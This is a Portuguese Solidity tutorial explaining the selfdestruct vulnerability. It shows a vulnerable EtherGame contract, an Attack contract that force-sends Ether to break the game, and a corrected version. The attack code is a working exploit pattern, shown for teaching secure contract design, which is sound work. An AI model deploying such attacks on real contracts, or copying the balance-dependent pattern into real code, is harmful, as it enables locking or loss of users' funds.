Autodestruição
WEB3DEV Team
# Autodestruição
Contratos podem ser apagados do blockchain chamando selfdestruct
.
selfdestruct
envia todo Ether restante armazenado no contrato para o endereço designado.
# Vulnerabilidade
Um contrato malicioso pode usar selfdestruct
para forçar o envio de Ether para qualquer contrato.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
// A meta deste jogo é ser o 7o. jogador a depositar 1 Ether.
// Jogadores podem depositar somente 1 Ether de cada vez.
// O vencedor será capaz de retirar todo Ether.
/*
1. Implemente EtherGame
2. Jogadores (vamos dizer Alice e Bob) decidem jogar, depositam 1 Ether cada.
2. Implemente Attack com endereço do EtherGame
3. Chame Attack.attack enviando 5 ether. Isso quebrará o jogo.
Ninguém pode se tornar campeão.
O que aconteceu?
Attack forçou o balanço do EtherGame para 7 ether.
Agora ninguém pode depositar e não se pode estabelecer um campeão.
*/
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
// Você pode simplesmente quebrar o jogo enviando ether de forma que
// o saldo do jogo >= 7 ether
// lance address a pagar
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
# Técnicas preventivas
Não conte com
address(this).balance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract EtherGame {
uint public targetAmount = 3 ether;
uint public balance;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
balance += msg.value;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to send Ether");
}
}